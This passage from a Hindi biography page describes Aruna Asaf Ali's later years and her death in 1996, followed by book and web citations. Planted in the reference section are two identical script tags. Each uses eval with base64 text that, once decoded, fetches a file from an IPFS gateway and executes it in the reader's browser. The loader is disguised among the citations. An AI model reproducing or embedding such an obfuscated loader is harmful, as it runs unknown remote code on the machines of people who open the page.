अरुणा आसफ़ अली वृद्धावस्था में बहुत शांत और गंभीर स्वभाव की हो गई थीं। उनकी आत्मीयता और स्नेह को कभी भुलाया नहीं जा सकता। वास्तव में वे महान् देशभक्त थीं। वयोवृद्ध स्वतंत्रता सेनानी अरुणा आसफ़ अली 87 वर्ष की आयु में दिनांक 29 जुलाई, सन् 1996 को इस संसार को छोड़कर सदैव के लिए दूर-बहुत दूर चली गईं। उनकी सुकीर्ति आज भी अमर है।


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टीका टिप्पणी और संदर्भ

भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 49-50 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  1. अरुणा आसफ़ अली : दिल्ली की पहली महापौर (हिन्दी) (एच.टी.एम.एल) वेब दुनिया। अभिगमन तिथि: 6 अप्रॅल, 2011।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

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